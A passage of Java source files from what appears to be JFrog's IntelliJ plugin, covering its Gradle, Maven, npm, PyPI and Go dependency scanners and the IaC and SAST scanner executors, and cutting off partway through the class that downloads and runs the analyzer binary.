buildTree() throws IOException { return goTreeBuilder.buildTree(); } @Override protected PsiFile[] getProjectDescriptors() { VirtualFile file = LocalFileSystem.getInstance().findFileByPath(descriptorFilePath); if (file == null) { return null; } PsiFile psiFile = PsiManager.getInstance(project).findFile(file); return new PsiFile[]{psiFile}; } @Override protected @Nullable AbstractInspection getInspectionTool() { try { return new GoInspection(); } catch (PluginException e) { // Go plugin is disabled or not installed getLog().warn("Inspections for Go projects require the Go language plugin to be installed and enabled. " + "Please make sure the Go plugin is installed and enabled for a complete experience."); return null; } } @Override protected PackageManagerType getPackageManagerType() { return PackageManagerType.GO; } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/scan/GradleScanner.java ================================================ package com.jfrog.ide.idea.scan; import com.google.common.collect.Maps; import com.intellij.ide.plugins.PluginManagerCore; import com.intellij.openapi.application.ApplicationManager; import com.intellij.openapi.extensions.PluginId; import com.intellij.openapi.project.Project; import com.intellij.openapi.vfs.LocalFileSystem; import com.intellij.openapi.vfs.VirtualFile; import com.intellij.psi.PsiFile; import com.intellij.psi.PsiManager; import com.intellij.util.EnvironmentUtil; import com.jfrog.ide.common.deptree.DepTree; import com.jfrog.ide.common.gradle.GradleTreeBuilder; import com.jfrog.ide.common.scan.ComponentPrefix; import com.jfrog.ide.common.scan.ScanLogic; import com.jfrog.ide.idea.inspections.AbstractInspection; import com.jfrog.ide.idea.inspections.GradleGroovyInspection; import com.jfrog.ide.idea.inspections.GradleKotlinInspection; import com.jfrog.ide.idea.log.Logger; import com.jfrog.ide.idea.scan.data.PackageManagerType; import com.jfrog.ide.idea.ui.ComponentsTree; import com.jfrog.ide.idea.ui.menus.filtermanager.ConsistentFilterManager; import org.apache.commons.lang3.StringUtils; import org.apache.commons.lang3.SystemUtils; import org.jetbrains.plugins.gradle.service.GradleInstallationManager; import org.jetbrains.plugins.gradle.service.settings.GradleConfigurable; import org.jetbrains.plugins.gradle.settings.DistributionType; import org.jetbrains.plugins.gradle.settings.GradleProjectSettings; import org.jetbrains.plugins.gradle.settings.GradleSettings; import java.io.File; import java.io.IOException; import java.nio.file.Files; import java.nio.file.Path; import java.nio.file.Paths; import java.util.Map; import java.util.concurrent.ExecutorService; import static com.jfrog.ide.common.log.Utils.logError; /** * Created by Yahav Itzhak on 9 Nov 2017. */ public class GradleScanner extends SingleDescriptorScanner { private final GradleTreeBuilder gradleTreeBuilder; private boolean kotlin; /** * @param project currently opened IntelliJ project. We'll use this project to retrieve project based services * like {@link ConsistentFilterManager} and {@link ComponentsTree}. * @param basePath the build.gradle or build.gradle.kts directory * @param executor an executor that should limit the number of running tasks to 3 * @param scanLogic the scan logic to use */ GradleScanner(Project project, String basePath, ExecutorService executor, ScanLogic scanLogic) { super(project, basePath, ComponentPrefix.GAV, executor, scanLogic); getLog().info("Found Gradle project: " + getProjectPath()); Path dirPath = Paths.get(this.basePath); Path buildGradleKotlinPath = dirPath.resolve("build.gradle.kts"); if (Files.exists(buildGradleKotlinPath)) { descriptorFilePath = buildGradleKotlinPath.toString(); } else { descriptorFilePath = dirPath.resolve("build.gradle").toString(); } Map env = Maps.newHashMap(EnvironmentUtil.getEnvironmentMap()); Path pluginLibDir = PluginManagerCore.getPlugin(PluginId.findId("org.jfrog.idea")).getPluginPath().resolve("lib"); env.put("pluginLibDir", pluginLibDir.toAbsolutePath().toString()); gradleTreeBuilder = new GradleTreeBuilder(Paths.get(basePath), descriptorFilePath, env, getGradleExeAndJdk(env)); } @Override protected PsiFile[] getProjectDescriptors() { LocalFileSystem localFileSystem = LocalFileSystem.getInstance(); Path basePath = Paths.get(this.basePath); VirtualFile file = localFileSystem.findFileByPath(basePath.resolve("build.gradle").toString()); if (file == null) { file = localFileSystem.findFileByPath(basePath.resolve("build.gradle.kts").toString()); if (file == null) { return null; } kotlin = true; } PsiFile psiFile = PsiManager.getInstance(project).findFile(file); return new PsiFile[]{psiFile}; } @Override protected AbstractInspection getInspectionTool() { return kotlin ? new GradleKotlinInspection() : new GradleGroovyInspection(); } @Override protected PackageManagerType getPackageManagerType() { return PackageManagerType.GRADLE; } @Override protected DepTree buildTree() throws IOException { return gradleTreeBuilder.buildTree(getLog()); } /** * Extract the chosen Gradle executable path from the Gradle plugin. If Gradle is not configured well, return null. * * @param env - The environment variables map to set the JAVA_HOME * @return the chosen Gradle executable path or null */ String getGradleExeAndJdk(Map env) { File gradleHome = resolveGradleAndSetJavaHome(env); if (gradleHome == null) { getLog().info("Using Gradle from system path."); return null; } String gradleExe = gradleHome.toPath().resolve("bin").resolve(SystemUtils.IS_OS_WINDOWS ? "gradle.bat" : "gradle").toString(); getLog().info("Using Gradle executable " + gradleExe); return gradleExe; } /** * Resolve Gradle executable and Java home from Gradle settings. * * @param env - The environment variables to set the JAVA_HOME * @return gradle executable */ private File resolveGradleAndSetJavaHome(Map env) { GradleSettings gradleSettings = GradleSettings.getInstance(project); GradleProjectSettings projectSettings = gradleSettings.getLinkedProjectSettings(basePath); if (projectSettings == null && SystemUtils.IS_OS_WINDOWS) { projectSettings = gradleSettings.getLinkedProjectSettings(basePath.replaceAll("\\\\", "/")); } if (projectSettings == null) { logError(getLog(), "Couldn't retrieve Gradle project settings. Hint - make sure the Gradle project was properly imported.", false); return null; } GradleInstallationManager gradleInstallationManager = ApplicationManager.getApplication().getService(GradleInstallationManager.class); // Set JAVA_HOME String javaHome = gradleInstallationManager.getGradleJvmPath(project, projectSettings.getExternalProjectPath()); if (StringUtils.isNotBlank(javaHome)) { getLog().info("Using Java home: " + javaHome); env.put("JAVA_HOME", javaHome); } File gradleHome = gradleInstallationManager.getGradleHome(project, projectSettings.getExternalProjectPath()); if (gradleHome != null) { return gradleHome; } if (StringUtils.isNotBlank(projectSettings.getGradleHome())) { return new File(projectSettings.getGradleHome()); } // Gradle wasn't set properly if (isMisconfigurationError(projectSettings.getExternalProjectPath())) { Logger.addOpenSettingsLink("It looks like Gradle home was not properly set in your project. " + "Click here to set Gradle home.", project, GradleConfigurable.class); } else { getLog().warn("Can't run Gradle from Gradle settings. Hint - try to reload Gradle project and then refresh the scan."); } return null; } private boolean isMisconfigurationError(String linkedProjectPath) { GradleProjectSettings projectSettings = GradleSettings.getInstance(project).getLinkedProjectSettings(linkedProjectPath); if (projectSettings != null) { DistributionType distributionType = projectSettings.getDistributionType(); // Distribution type has not been chosen or the distribution type is not Gradle wrapper. // If the distribution type is wrapped, it is probable that the Gradle wrapper is not yet created. return distributionType == null || !distributionType.isWrapped(); } // Gradle project settings are not set return true; } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/scan/IACScannerExecutor.java ================================================ package com.jfrog.ide.idea.scan; import com.jfrog.ide.common.log.ProgressIndicator; import com.jfrog.ide.common.nodes.FileIssueNode; import com.jfrog.ide.common.nodes.FileTreeNode; import com.jfrog.ide.common.nodes.subentities.SourceCodeScanType; import com.jfrog.ide.idea.inspections.JFrogSecurityWarning; import com.jfrog.ide.idea.scan.data.PackageManagerType; import com.jfrog.ide.idea.scan.data.ScanConfig; import com.jfrog.xray.client.services.entitlements.Feature; import org.jfrog.build.api.util.Log; import java.io.IOException; import java.util.ArrayList; import java.util.HashMap; import java.util.List; /** * @author Tal Arian */ public class IACScannerExecutor extends ScanBinaryExecutor { private static final List SCANNER_ARGS = List.of("iac"); private static final String ISSUE_TITLE = "Infrastructure as Code Vulnerability"; public IACScannerExecutor(Log log) { super(SourceCodeScanType.IAC, log); } public List execute(ScanConfig.Builder inputFileBuilder, Runnable checkCanceled, ProgressIndicator indicator) throws IOException, InterruptedException { return super.execute(inputFileBuilder, SCANNER_ARGS, checkCanceled, indicator); } @Override List createSpecificFileIssueNodes(List warnings) { HashMap results = new HashMap<>(); for (JFrogSecurityWarning warning : warnings) { // Create FileTreeNodes for files with found issues FileTreeNode fileNode = results.get(warning.getFilePath()); if (fileNode == null) { fileNode = new FileTreeNode(warning.getFilePath()); results.put(warning.getFilePath(), fileNode); } FileIssueNode issueNode = new FileIssueNode(ISSUE_TITLE, warning.getFilePath(), warning.getLineStart(), warning.getColStart(), warning.getLineEnd(), warning.getColEnd(), warning.getScannerSearchTarget(), warning.getLineSnippet(), warning.getReporter(), warning.getSeverity(), warning.getRuleID()); fileNode.addIssue(issueNode); } return new ArrayList<>(results.values()); } @Override public Feature getScannerFeatureName() { return Feature.INFRASTRUCTURE_AS_CODE; } @Override protected boolean isPackageTypeSupported(PackageManagerType packageType) { return true; } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/scan/MavenScanner.java ================================================ package com.jfrog.ide.idea.scan; import com.intellij.ide.highlighter.XmlFileType; import com.intellij.openapi.project.Project; import com.intellij.openapi.vfs.VirtualFile; import com.intellij.psi.PsiFile; import com.intellij.psi.PsiManager; import com.intellij.psi.search.FilenameIndex; import com.intellij.psi.search.GlobalSearchScope; import com.jfrog.ide.common.deptree.DepTree; import com.jfrog.ide.common.deptree.DepTreeNode; import com.jfrog.ide.common.nodes.DependencyNode; import com.jfrog.ide.common.nodes.DescriptorFileTreeNode; import com.jfrog.ide.common.nodes.FileTreeNode; import com.jfrog.ide.common.scan.ComponentPrefix; import com.jfrog.ide.common.scan.ScanLogic; import com.jfrog.ide.idea.inspections.AbstractInspection; import com.jfrog.ide.idea.inspections.MavenInspection; import com.jfrog.ide.idea.scan.data.PackageManagerType; import com.jfrog.ide.idea.ui.ComponentsTree; import com.jfrog.ide.idea.ui.menus.filtermanager.ConsistentFilterManager; import com.jfrog.ide.idea.utils.Utils; import org.jetbrains.annotations.NotNull; import org.jetbrains.idea.maven.model.MavenArtifact; import org.jetbrains.idea.maven.model.MavenArtifactNode; import org.jetbrains.idea.maven.model.MavenArtifactState; import org.jetbrains.idea.maven.model.MavenId; import org.jetbrains.idea.maven.project.MavenProject; import org.jetbrains.idea.maven.project.MavenProjectsManager; import java.nio.file.Path; import java.nio.file.Paths; import java.util.*; import java.util.concurrent.CopyOnWriteArrayList; import java.util.concurrent.ExecutorService; import java.util.stream.Collectors; import static com.jfrog.ide.common.utils.Utils.createComponentId; /** * Created by romang on 3/2/17. */ public class MavenScanner extends ScannerBase { private final String POM_FILE_NAME = "pom.xml"; /** * @param project - Currently opened IntelliJ project. We'll use this project to retrieve project based services * like {@link ConsistentFilterManager} and {@link ComponentsTree}. * @param executor - An executor that should limit the number of running tasks to 3 */ MavenScanner(Project project, ExecutorService executor, ScanLogic scanLogic) { super(project, Utils.getProjectBasePath(project).toString(), ComponentPrefix.GAV, executor, scanLogic); getLog().info("Found Maven project: " + getProjectPath()); } static boolean isApplicable(@NotNull Project project) { return MavenProjectsManager.getInstance(project).hasProjects(); } /** * Returns all project modules locations as Paths. * Other scanners such as npm will use this paths in order to find modules. * * @return all project modules locations as Paths */ public Set getProjectPaths() { return MavenProjectsManager.getInstance(project).getProjects().stream() .map(MavenProject::getDirectory) .map(Paths::get) .collect(Collectors.toSet()); } @Override protected DepTree buildTree() { String rootId = project.getName(); DepTreeNode rootNode = new DepTreeNode(); Map nodes = new HashMap<>(); MavenProjectsManager.getInstance(project).getRootProjects().forEach(rootMavenProject -> populateMavenModule(nodes, rootNode, rootMavenProject)); if (rootNode.getChildren().size() == 1) { return new DepTree(rootNode.getChildren().iterator().next(), nodes); } nodes.put(rootId, rootNode); return new DepTree(rootId, nodes); } @Override protected PsiFile[] getProjectDescriptors() { // As project can contain subprojects, look for all 'pom.xml' files under it. GlobalSearchScope scope = GlobalSearchScope.getScopeRestrictedByFileTypes(GlobalSearchScope.projectScope(project), XmlFileType.INSTANCE); Collection allPoms = FilenameIndex.getVirtualFilesByName(POM_FILE_NAME, scope); PsiManager psiManager = PsiManager.getInstance(project); return allPoms.stream().map(psiManager::findFile).toArray(PsiFile[]::new); } @Override protected AbstractInspection getInspectionTool() { return new MavenInspection(); } @Override protected PackageManagerType getPackageManagerType() { return PackageManagerType.MAVEN; } /** * Populate recursively the dependency tree with the maven module and its dependencies. * * @param nodes a map of {@link DepTreeNode}s by their component IDs to be filled with the module's components. * @param parentModule the parent dependency node * @param mavenProject the root Maven project */ private void populateMavenModule(Map nodes, DepTreeNode parentModule, MavenProject mavenProject) { MavenId mavenId = mavenProject.getMavenId(); String compId = createComponentId(mavenId.getGroupId(), mavenId.getArtifactId(), mavenId.getVersion()); DepTreeNode mavenNode = getOrCreateMavenModuleNode(nodes, compId, mavenProject); parentModule.getChildren().add(compId); addMavenProjectDependencies(nodes, mavenNode, mavenProject); mavenProject.getExistingModuleFiles().stream() .map(this::getModuleByVirtualFile) .filter(Objects::nonNull) .forEach(mavenModule -> populateMavenModule(nodes, mavenNode, mavenModule)); } private MavenProject getModuleByVirtualFile(VirtualFile virtualFile) { return MavenProjectsManager.getInstance(project).getProjects() .stream() .filter(mavenModule -> Objects.equals(mavenModule.getFile().getCanonicalPath(), virtualFile.getCanonicalPath())) .findAny() .orElse(null); } private void addMavenProjectDependencies(Map nodes, DepTreeNode moduleNode, MavenProject mavenProject) { mavenProject.getDependencyTree() .stream() .filter(mavenArtifactNode -> mavenArtifactNode.getState() == MavenArtifactState.ADDED) .forEach(mavenArtifactNode -> updateChildrenNodes(nodes, moduleNode, mavenArtifactNode, true)); } private DepTreeNode getOrCreateMavenModuleNode(Map nodes, String moduleCompId, MavenProject mavenProject) { if (!nodes.containsKey(moduleCompId)) { nodes.put(moduleCompId, new DepTreeNode()); } return nodes.get(moduleCompId).descriptorFilePath(mavenProject.getPath()); } private void updateChildrenNodes(Map nodes, DepTreeNode parentNode, MavenArtifactNode mavenArtifactNode, boolean setScopes) { MavenArtifact mavenArtifact = mavenArtifactNode.getArtifact(); String compId = mavenArtifact.getDisplayStringSimple(); DepTreeNode currentNode; if (nodes.containsKey(compId)) { currentNode = nodes.get(compId); } else { currentNode = new DepTreeNode(); nodes.put(compId, currentNode); } if (setScopes) { currentNode.getScopes().add(mavenArtifact.getScope()); } mavenArtifactNode.getDependencies() .stream() .filter(mavenArtifactChild -> mavenArtifactChild.getState() == MavenArtifactState.ADDED) .forEach(childrenArtifactNode -> updateChildrenNodes(nodes, currentNode, childrenArtifactNode, false)); parentNode.getChildren().add(compId); } /** * Groups a collection of {@link DependencyNode}s by the descriptor files of the modules that depend on them. * The returned DependencyNodes inside the {@link FileTreeNode}s are clones of the ones in depScanResults. * * @param depScanResults collection of DependencyNodes * @param depTree the project's dependency tree * @param parents a map of components by their IDs and their parents in the dependency tree * @return a list of FileTreeNodes (that are all DescriptorFileTreeNodes) having the DependencyNodes as their children */ @Override protected List groupDependenciesToDescriptorNodes(Collection depScanResults, DepTree depTree, Map> parents) { Map descriptorMap = new HashMap<>(); Map> visitedComponents = new HashMap<>(); for (DependencyNode dependencyNode : depScanResults) { String vulnerableDepId = dependencyNode.getComponentIdWithoutPrefix(); Set affectedModulesIds = getDependentModules(vulnerableDepId, depTree, parents, visitedComponents); for (String descriptorId : affectedModulesIds) { String descriptorPath = depTree.nodes().get(descriptorId).getDescriptorFilePath(); descriptorMap.putIfAbsent(descriptorPath, new DescriptorFileTreeNode(descriptorPath)); // Each dependency might be a child of more than one POM file, but Artifact is a tree node, so it can have only one parent. // The solution for this is to clone the dependency before adding it as a child of the POM. DependencyNode clonedDep = (DependencyNode) dependencyNode.clone(); clonedDep.setIndirect(!vulnerableDepId.equals(descriptorId) && !parents.get(vulnerableDepId).contains(descriptorId)); descriptorMap.get(descriptorPath).addDependency(clonedDep); } } return new CopyOnWriteArrayList<>(descriptorMap.values()); } /** * Retrieve component IDs of all modules in the project that are dependent on the specified component. * * @param compId the component ID to identify modules depending on it * @param depTree the project's dependency tree * @param parents a map of components by their IDs and their parents in the dependency tree * @param visitedComponents a map of components for which dependent modules have already been found * @return a set of component IDs representing modules dependent on the specified component */ Set getDependentModules(String compId, DepTree depTree, Map> parents, Map> visitedComponents) { if (visitedComponents.containsKey(compId)) { return visitedComponents.get(compId); } Set modulesIds = new HashSet<>(); if (depTree.nodes().get(compId).getDescriptorFilePath() != null) { modulesIds.add(compId); } if (parents.containsKey(compId)) { for (String parentId : parents.get(compId)) { modulesIds.addAll(getDependentModules(parentId, depTree, parents, visitedComponents)); } } visitedComponents.put(compId, modulesIds); return modulesIds; } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/scan/NpmScanner.java ================================================ package com.jfrog.ide.idea.scan; import com.intellij.openapi.project.Project; import com.intellij.openapi.vfs.LocalFileSystem; import com.intellij.openapi.vfs.VirtualFile; import com.intellij.psi.PsiFile; import com.intellij.psi.PsiManager; import com.intellij.util.EnvironmentUtil; import com.jfrog.ide.common.deptree.DepTree; import com.jfrog.ide.common.npm.NpmTreeBuilder; import com.jfrog.ide.common.scan.ComponentPrefix; import com.jfrog.ide.common.scan.ScanLogic; import com.jfrog.ide.idea.inspections.AbstractInspection; import com.jfrog.ide.idea.inspections.NpmInspection; import com.jfrog.ide.idea.scan.data.PackageManagerType; import com.jfrog.ide.idea.ui.ComponentsTree; import com.jfrog.ide.idea.ui.menus.filtermanager.ConsistentFilterManager; import java.io.IOException; import java.nio.file.Paths; import java.util.concurrent.ExecutorService; /** * Created by Yahav Itzhak on 13 Dec 2017. */ public class NpmScanner extends SingleDescriptorScanner { private final NpmTreeBuilder npmTreeBuilder; /** * @param project currently opened IntelliJ project. We'll use this project to retrieve project based services * like {@link ConsistentFilterManager} and {@link ComponentsTree}. * @param basePath the package.json directory * @param executor an executor that should limit the number of running tasks to 3 * @param scanLogic the scan logic to use */ NpmScanner(Project project, String basePath, ExecutorService executor, ScanLogic scanLogic) { super(project, basePath, ComponentPrefix.NPM, executor, Paths.get(basePath, "package.json").toString(), scanLogic); getLog().info("Found npm project: " + getProjectPath()); npmTreeBuilder = new NpmTreeBuilder(Paths.get(basePath), descriptorFilePath, EnvironmentUtil.getEnvironmentMap()); } @Override protected DepTree buildTree() throws IOException { return npmTreeBuilder.buildTree(getLog()); } @Override protected PsiFile[] getProjectDescriptors() { VirtualFile file = LocalFileSystem.getInstance().findFileByPath(descriptorFilePath); if (file == null) { return null; } PsiFile psiFile = PsiManager.getInstance(project).findFile(file); return new PsiFile[]{psiFile}; } @Override protected AbstractInspection getInspectionTool() { return new NpmInspection(); } @Override protected PackageManagerType getPackageManagerType() { return PackageManagerType.NPM; } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/scan/PypiScanner.java ================================================ package com.jfrog.ide.idea.scan; import com.intellij.execution.ExecutionException; import com.intellij.openapi.project.Project; import com.intellij.openapi.projectRoots.Sdk; import com.intellij.psi.PsiFile; import com.jetbrains.python.packaging.PyPackage; import com.jetbrains.python.packaging.PyPackageManager; import com.jetbrains.python.packaging.PyRequirement; import com.jfrog.ide.common.deptree.DepTree; import com.jfrog.ide.common.deptree.DepTreeNode; import com.jfrog.ide.common.scan.ComponentPrefix; import com.jfrog.ide.common.scan.ScanLogic; import com.jfrog.ide.idea.inspections.AbstractInspection; import com.jfrog.ide.idea.scan.data.PackageManagerType; import com.jfrog.ide.idea.ui.ComponentsTree; import com.jfrog.ide.idea.ui.menus.filtermanager.ConsistentFilterManager; import org.apache.commons.collections4.CollectionUtils; import java.io.IOException; import java.util.*; import java.util.concurrent.ExecutorService; import static com.jfrog.ide.common.utils.Utils.createComponentId; /** * @author yahavi */ public class PypiScanner extends SingleDescriptorScanner { private final Sdk pythonSdk; /** * @param project currently opened IntelliJ project. We'll use this project to retrieve project based services * like {@link ConsistentFilterManager} and {@link ComponentsTree}. * @param pythonSdk the Python SDK * @param executor an executor that should limit the number of running tasks to 3 * @param scanLogic the scan logic to use */ PypiScanner(Project project, Sdk pythonSdk, ExecutorService executor, ScanLogic scanLogic) { super(project, pythonSdk.getHomePath(), ComponentPrefix.PYPI, executor, pythonSdk.getHomePath(), scanLogic); this.pythonSdk = pythonSdk; getLog().info("Found PyPI SDK: " + getProjectPath()); } @Override protected DepTree buildTree() throws IOException { try { return createSdkDependencyTree(pythonSdk); } catch (ExecutionException e) { throw new IOException(e); } } /** * Create a dependency tree for a given Python SDK. * * @param pythonSdk the Python SDK * @return dependency tree created for a given Python SDK. */ private DepTree createSdkDependencyTree(Sdk pythonSdk) throws ExecutionException { // Retrieve all PyPI packages PyPackageManager packageManager = PyPackageManager.getInstance(pythonSdk); List packages = packageManager.refreshAndGetPackages(true); getLog().debug(CollectionUtils.size(packages) + " PyPI packages found in SDK " + pythonSdk.getName()); // Create dependency mapping Map compIdByCompName = new HashMap<>(); Set dependencies = new HashSet<>(); for (PyPackage pyPackage : packages) { String compId = createComponentId(pyPackage.getName(), pyPackage.getVersion()); compIdByCompName.put(pyPackage.getName().toLowerCase(), compId); dependencies.add(compId); } // Populate each node's children Map nodes = new HashMap<>(); for (PyPackage pyPackage : packages) { String compId = createComponentId(pyPackage.getName(), pyPackage.getVersion()); DepTreeNode node = new DepTreeNode(); for (PyRequirement requirement : pyPackage.getRequirements()) { String depId = compIdByCompName.get(requirement.getName().toLowerCase()); if (depId == null) { getLog().warn("Dependency " + requirement.getName() + " is not installed."); continue; } node.getChildren().add(depId); } nodes.put(compId, node); } // Create root SDK node String rootCompId = pythonSdk.getName(); DepTreeNode sdkNode = new DepTreeNode().descriptorFilePath(pythonSdk.getHomePath()); sdkNode.children(dependencies); nodes.put(rootCompId, sdkNode); return new DepTree(rootCompId, nodes); } @Override protected PsiFile[] getProjectDescriptors() { return null; } @Override protected AbstractInspection getInspectionTool() { return null; } @Override protected PackageManagerType getPackageManagerType() { return PackageManagerType.PYPI; } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/scan/SastScannerExecutor.java ================================================ package com.jfrog.ide.idea.scan; import com.jfrog.ide.common.log.ProgressIndicator; import com.jfrog.ide.common.nodes.FileIssueNode; import com.jfrog.ide.common.nodes.FileTreeNode; import com.jfrog.ide.common.nodes.SastIssueNode; import com.jfrog.ide.common.nodes.subentities.SourceCodeScanType; import com.jfrog.ide.idea.inspections.JFrogSecurityWarning; import com.jfrog.ide.idea.scan.data.PackageManagerType; import com.jfrog.ide.idea.scan.data.ScanConfig; import com.jfrog.xray.client.services.entitlements.Feature; import org.jfrog.build.api.util.Log; import java.io.IOException; import java.util.ArrayList; import java.util.HashMap; import java.util.List; /** * @author Tal Arian */ public class SastScannerExecutor extends ScanBinaryExecutor { private static final List SCANNER_ARGS = List.of("zd"); // This variable is used to indicate that this scanner supports only the new config (input) format. // In the near future, when all scanners will use only the new input file structure this variable as well // as the ScanConfig and ScanConfigs classes can be safely removed. private static final boolean RUN_WITH_NEW_CONFIG_FILE = true; private static final List SUPPORTED_PACKAGE_TYPES = List.of(PackageManagerType.PYPI, PackageManagerType.NPM, PackageManagerType.YARN, PackageManagerType.GRADLE, PackageManagerType.MAVEN); public SastScannerExecutor(Log log) { super(SourceCodeScanType.SAST, log); } public List execute(ScanConfig.Builder inputFileBuilder, Runnable checkCanceled, ProgressIndicator indicator) throws IOException, InterruptedException { return super.execute(inputFileBuilder, SCANNER_ARGS, checkCanceled, RUN_WITH_NEW_CONFIG_FILE, indicator); } @Override List createSpecificFileIssueNodes(List warnings) { HashMap results = new HashMap<>(); for (JFrogSecurityWarning warning : warnings) { // Create FileTreeNodes for files with found issues FileTreeNode fileNode = results.get(warning.getFilePath()); if (fileNode == null) { fileNode = new FileTreeNode(warning.getFilePath()); results.put(warning.getFilePath(), fileNode); } FileIssueNode issueNode = new SastIssueNode(warning.getReason(), warning.getFilePath(), warning.getLineStart(), warning.getColStart(), warning.getLineEnd(), warning.getColEnd(), warning.getScannerSearchTarget(), warning.getLineSnippet(), warning.getCodeFlows(), warning.getSeverity(), warning.getRuleID()); fileNode.addIssue(issueNode); } return new ArrayList<>(results.values()); } @Override public Feature getScannerFeatureName() { // TODO: change to SAST feature when Xray entitlement service supports it. return Feature.CONTEXTUAL_ANALYSIS; } @Override protected boolean isPackageTypeSupported(PackageManagerType packageType) { return packageType != null && SUPPORTED_PACKAGE_TYPES.contains(packageType); } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/scan/ScanBinaryExecutor.java ================================================ package com.jfrog.ide.idea.scan; import com.fasterxml.jackson.databind.ObjectMapper; import com.intellij.util.EnvironmentUtil; import com.jfrog.ide.common.configuration.ServerConfig; import com.jfrog.ide.common.log.ProgressIndicator; import com.jfrog.ide.common.nodes.FileTreeNode; import com.jfrog.ide.common.nodes.subentities.SourceCodeScanType; import com.jfrog.ide.idea.configuration.GlobalSettings; import com.jfrog.ide.idea.configuration.ServerConfigImpl; import com.jfrog.ide.idea.inspections.JFrogSecurityWarning; import com.jfrog.ide.idea.log.Logger; import com.jfrog.ide.idea.scan.data.*; import com.jfrog.xray.client.Xray; import com.jfrog.xray.client.services.entitlements.Feature; import lombok.Getter; import net.lingala.zip4j.ZipFile; import net.lingala.zip4j.exception.ZipException; import net.lingala.zip4j.model.UnzipParameters; import org.apache.commons.codec.digest.DigestUtils; import org.apache.commons.io.FileUtils; import org.apache.commons.lang3.StringUtils; import org.apache.commons.lang3.SystemUtils; import org.apache.http.Header; import org.jfrog.build.api.util.Log; import org.jfrog.build.api.util.NullLog; import org.jfrog.build.client.ProxyConfiguration; import org.jfrog.build.extractor.clientConfiguration.ArtifactoryManagerBuilder; import org.jfrog.build.extractor.clientConfiguration.client.artifactory.ArtifactoryManager; import org.jfrog.build.extractor.executor.CommandExecutor; import org.jfrog.build.extractor.executor.CommandResults; import java.io.File; import java.io.FileInputStream; import java.io.IOException; import java.net.URISyntaxException; import java.nio.file.Files; import java.nio.file.Path; import java.time.LocalDateTime; import java.util.*; import java.util.concurrent.TimeUnit; import static com.jfrog.ide.common.utils.ArtifactoryConnectionUtils.createAnonymousAccessArtifactoryManagerBuilder; import static com.jfrog.ide.common.utils.ArtifactoryConnectionUtils.createArtifactoryManagerBuilder; import static com.jfrog.ide.common.utils.Utils.createMapper; import static com.jfrog.ide.common.utils.Utils.createYAMLMapper; import static com.jfrog.ide.common.utils.XrayConnectionUtils.createXrayClientBuilder; import static com.jfrog.ide.idea.scan.utils.ScanUtils.getOSAndArc; import static com.jfrog.ide.idea.utils.Utils.HOME_PATH; import static java.lang.String.join; /** * @author Tal Arian */ public abstract class ScanBinaryExecutor { public static final Path BINARIES_DIR = HOME_PATH.resolve("dependencies").resolve("jfrog-security"); private static final int UPDATE_INTERVAL = 1; private static final int USER_NOT_ENTITLED = 31; private static final int NOT_SUPPORTED = 13; private static final String SCANNER_BINARY_NAME = "analyzerManager"; static final String DEFAULT_SCANNER_BINARY_VERSION = "1.30.1"; private static final String BINARY_DOWNLOAD_URL_PREFIX = "xsc-gen-exe-analyzer-manager-local/v1/"; private static final String DOWNLOAD_SCANNER_NAME = "analyzerManager.zip"; private static final String MINIMAL_XRAY_VERSION_SUPPORTED_FOR_ENTITLEMENT = "3.66.0"; private static final String ENV_PLATFORM = "JF_PLATFORM_URL"; private static final String ENV_USER = "JF_USER"; private static final String ENV_PASSWORD = "JF_PASS"; private static final String ENV_ACCESS_TOKEN = "JF_TOKEN"; private static final String ENV_HTTP_PROXY = "HTTP_PROXY"; private static final String JFROG_RELEASES = "https://releases.jfrog.io/artifactory/"; private static Path binaryTargetPath; private static Path archiveTargetPath; @Getter private static String osDistribution; private static LocalDateTime nextUpdateCheck; private static String lastDownloadedVersion; protected final SourceCodeScanType scanType; protected Collection supportedPackageTypes; private final Log log; private boolean notSupported; private final static Object downloadLock = new Object(); ScanBinaryExecutor(SourceCodeScanType scanType, Log log) { this.scanType = scanType; this.log = log; String executable = SystemUtils.IS_OS_WINDOWS ? SCANNER_BINARY_NAME + ".exe" : SCANNER_BINARY_NAME; binaryTargetPath = BINARIES_DIR.resolve(SCANNER_BINARY_NAME).resolve(executable); archiveTargetPath = BINARIES_DIR.resolve(DOWNLOAD_SCANNER_NAME); setOsDistribution(); } private ArtifactoryManagerBuilder createManagerBuilder(boolean useJFrogReleases, ServerConfig server) { if (useJFrogReleases) { return createAnonymousAccessArtifactoryManagerBuilder(JFROG_RELEASES, server.getProxyConfForTargetUrl(JFROG_RELEASES), log); } try { return createArtifactoryManagerBuilder(server, log); } catch (Exception e) { log.warn(e.getMessage()); notSupported = true; } return null; } protected void setOsDistribution() { try { osDistribution = getOSAndArc(); } catch (IOException e) { log.warn(e.getMessage()); notSupported = true; } } String getBinaryDownloadURL(String externalResourcesRepo) { String downloadUrlPrefix = ""; if (!StringUtils.isEmpty(externalResourcesRepo)) { downloadUrlPrefix = String.format("%s/artifactory/", externalResourcesRepo); } String binaryDownloadUrl = BINARY_DOWNLOAD_URL_PREFIX + getEffectiveScannerVersion(); return String.format("%s%s/%s/%s", downloadUrlPrefix, binaryDownloadUrl, getOsDistribution(), DOWNLOAD_SCANNER_NAME); } String getEffectiveScannerVersion() { try { ServerConfigImpl serverConfig = GlobalSettings.getInstance().getServerConfig(); if (serverConfig != null && StringUtils.isNotBlank(serverConfig.getScannerBinaryVersion())) { return serverConfig.getScannerBinaryVersion(); } } catch (Exception e) { log.debug("Could not read scanner binary version from settings, using default."); } return DEFAULT_SCANNER_BINARY_VERSION; } abstract Feature getScannerFeatureName(); abstract List execute(ScanConfig.Builder inputFileBuilder, Runnable checkCanceled, ProgressIndicator indicator) throws IOException, InterruptedException, URISyntaxException; protected List execute(ScanConfig.Builder inputFileBuilder, List args, Runnable checkCanceled, ProgressIndicator indicator) throws IOException, InterruptedException { return execute(inputFileBuilder, args, checkCanceled, false, indicator); } protected List execute(ScanConfig.Builder inputFileBuilder, List args, Runnable checkCanceled, boolean newConfigFormat, ProgressIndicator indicator) throws IOException, InterruptedException { if (!shouldExecute()) { return List.of(); } checkCanceled.run(); updateBinaryIfNeeded(); Path outputTempDir = null; Path inputFile = null; try { outputTempDir = Files.createTempDirectory(""); Path outputFilePath = Files.createTempFile(outputTempDir, "", ".sarif"); inputFileBuilder.output(outputFilePath.toString()); 